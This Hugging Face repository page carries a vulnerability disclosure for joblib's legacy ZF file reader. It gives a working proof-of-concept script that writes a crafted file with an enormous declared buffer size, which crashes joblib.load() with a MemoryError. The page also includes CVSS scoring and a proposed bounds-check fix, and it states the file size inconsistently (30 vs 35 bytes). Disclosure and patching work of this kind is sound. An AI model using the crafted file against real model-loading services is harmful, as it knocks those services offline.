Downloads · 30 days
0
Rodion111/joblib-zf-dos-poc
joblib-zf-dos-poc is a machine learning model from Rodion111. Use it for the machine learning task on the model card, and read the license before you ship it in a product.
Downloads · 30 days
0
Access
Public
Updated Apr 8, 2026
Repo size
30 B
Likes
0
Public
Click a slice to open those files.
.md10.2 KB · 63%
From the Hugging Face model README
| Field | Details |
|---|---|
| Project | joblib |
| Affected File | joblib/numpy_pickle_compat.py |
| Affected Function | read_zfile() |
| Affected Versions | All versions with legacy ZF format support (< 1.3 or with compat mode enabled) |
| CWE | CWE-770: Allocation of Resources Without Limits or Throttling |
| CVSS v3.1 Score | 7.5 (High) |
| Vector | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H |
The read_zfile() function in joblib/numpy_pickle_compat.py reads a bufsize field directly from a legacy ZF-format file header and allocates a NumPy array of that exact size without any bounds validation. An attacker can craft a 35-byte file with bufsize set to 0x7FFFFFFFFFFFFFFF (9,223,372,036,854,775,807 bytes — approximately 8 exabytes), causing an immediate MemoryError or process-level OOM crash.
Critically, this crash occurs before any pickle deserialization takes place, bypassing all pickle-level safety mechanisms (including numpy.load safe mode or custom unpickler restrictions). Any system that automatically loads joblib files from untrusted sources — such as an ML model serving pipeline, a data science notebook server, or a CI/CD artifact pipeline — is vulnerable to remote denial of service.
File: joblib/numpy_pickle_compat.py
_ZFILE_PREFIX = b'ZF'
_MAX_LEN = 19 # hex digits representing the declared buffer size
def read_zfile(file_handle):
"""Read the z-file and return the content as a string."""
file_handle.seek(0)
header_length = len(_ZFILE_PREFIX) + _MAX_LEN
length = file_handle.read(header_length)
length = length[len(_ZFILE_PREFIX):] # strip 'ZF' prefix → 19-char hex string
length = int(length, 16) # ← ATTACKER-CONTROLLED: no bounds check!
next_byte = file_handle.read(1)
if next_byte != b" ":
file_handle.seek(header_length)
# length is passed directly as zlib's bufsize parameter → pre-allocates `length` bytes
data = zlib.decompress(file_handle.read(), 15, length) # ← OOM here!
assert len(data) == length, (
"Incorrect data length while decompressing %s." % file_handle
)
return data
The 19-character hex string in the file header (bytes 2–20) is parsed with int(length, 16) and passed without any upper bound check to zlib.decompress(..., bufsize=length). The CPython zlib module pre-allocates bufsize bytes as the output buffer before decompression begins. With length = 0x7FFFFFFFFFFFFFFF (max int64 = 9.2 EB), this causes an immediate MemoryError or process OOM.
No bounds check exists:
The crash happens before any zlib decompression or pickle deserialization begins.
The .npy format (same codebase, same use case) validates dimensions before allocation:
# numpy/lib/format.py — safe pattern for .npy files:
shape = header_data['shape']
if any(s < 0 for s in shape):
raise ValueError(f"Invalid shape: {shape}")
# dtype.itemsize * product(shape) is bounded by reasonable limits
The ZF reader in numpy_pickle_compat.py has no equivalent validation — it parses a hex integer from the header and passes it directly to zlib.decompress() as the output buffer size. The comment in the source simply says "We use the known length of the data to tell Zlib the size of the buffer to allocate" — there is no acknowledgment that this value is attacker-controlled.
pip install joblib numpy
#!/usr/bin/env python3
"""
PoC: Joblib ZF Header DoS
Creates a 30-byte crafted .joblib file that triggers immediate MemoryError
when loaded by joblib.load() or numpy_pickle_compat.read_zfile().
ZF file format (joblib/numpy_pickle_compat.py):
Bytes 0-1 : b'ZF' ← _ZFILE_PREFIX
Bytes 2-20 : 19-char hex size string ← POISONED: 0x7fffffffffffffff
Bytes 21+ : zlib-compressed payload ← never reached (OOM before this)
"""
import zlib
_ZFILE_PREFIX = b'ZF'
_MAX_LEN = 19 # hex string length (from joblib source)
POISON_SIZE = 0x7FFFFFFFFFFFFFFF # 9,223,372,036,854,775,807 bytes ≈ 8 EB
# Encode the declared size as 19-char hex string (zero-padded)
size_hex = f"{POISON_SIZE:019x}".encode() # b'0007fffffffffffffff'
# Any valid compressed payload (crash happens before decompression)
compressed = zlib.compress(b'\x00')
payload = _ZFILE_PREFIX + size_hex + compressed # 30 bytes total
with open('crash.joblib', 'wb') as f:
f.write(payload)
print(f"Wrote {len(payload)} bytes to crash.joblib")
print(f"Declared size: {POISON_SIZE:#x} = {POISON_SIZE:,} bytes")
print(f"Hex string in header: {size_hex.decode()!r}")
import joblib
# This raises MemoryError inside zlib.decompress() before any pickle code runs
try:
joblib.load('crash.joblib')
print("[-] No crash (not vulnerable)")
except MemoryError as e:
print(f"[+] CRASH CONFIRMED: MemoryError")
print(f" zlib.decompress() pre-allocated 9.2 EB before failing")
except Exception as e:
print(f"[?] {type(e).__name__}: {e}")
[+] CRASH CONFIRMED: MemoryError
zlib.decompress() pre-allocated 9.2 EB before failing
# The crash occurs inside read_zfile() at:
# data = zlib.decompress(file_handle.read(), 15, length) ← OOM here
# This is BEFORE joblib ever attempts to unpickle anything.
# Therefore: all downstream mitigations are ineffective:
# - joblib.load(trusted=False) → still crashes
# - custom Unpickler restrictions → still crashes
# - numpy.load(allow_pickle=False)→ still crashes
print("ZF crash bypasses all Pickle-level safety mechanisms in joblib")
Denial of Service — High
joblib.load() on the crafted file will crash with an unrecoverable MemoryError. On Linux/containers, the OOM killer may terminate the process entirely..joblib files.allow_pickle=False are not protected from this DoS vector.joblib.load(), the attack requires zero privileges.Score: 7.5 (High)
Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
| Metric | Value | Rationale |
|---|---|---|
| Attack Vector (AV) | Network (N) | Exploitable over the network via file upload or remote model loading |
| Attack Complexity (AC) | Low (L) | No special conditions; crafting the 35-byte file is trivial |
| Privileges Required (PR) | None (N) | No authentication or authorization needed |
| User Interaction (UI) | None (N) | Attack triggers automatically upon server-side file loading |
| Scope (S) | Unchanged (U) | Impact limited to the joblib process itself |
| Confidentiality (C) | None (N) | No data is disclosed |
| Integrity (I) | None (N) | No data is modified |
| Availability (A) | High (H) | Process crash; complete loss of availability for affected component |
# joblib/numpy_pickle_compat.py
_ZFILE_PREFIX = b'ZF'
_MAX_LEN = 19
_MAX_ZF_BUFSIZE = 2 * 1024 * 1024 * 1024 # 2 GiB — reasonable upper bound
def read_zfile(file_handle):
"""Read the z-file and return the content as a string."""
file_handle.seek(0)
header_length = len(_ZFILE_PREFIX) + _MAX_LEN
length = file_handle.read(header_length)
length = length[len(_ZFILE_PREFIX):]
length = int(length, 16)
# FIX: Validate before passing to zlib.decompress
if length > _MAX_ZF_BUFSIZE:
raise ValueError(
f"ZF declared buffer size {length} exceeds maximum "
f"{_MAX_ZF_BUFSIZE}. File may be malformed or malicious."
)
# Additional sanity: declared size should relate to actual file size
remaining = len(file_handle.read())
file_handle.seek(header_length)
if length > remaining * 1000: # generous 1000x compression ratio
raise ValueError(
f"ZF declared size {length} implausibly large vs file size {remaining}"
)
next_byte = file_handle.read(1)
if next_byte != b" ":
file_handle.seek(header_length)
data = zlib.decompress(file_handle.read(), 15, length) # now safe
assert len(data) == length
return data
atheris or hypothesis to catch similar integer overflow / unbounded allocation patterns.joblib.load() must never be called on untrusted files.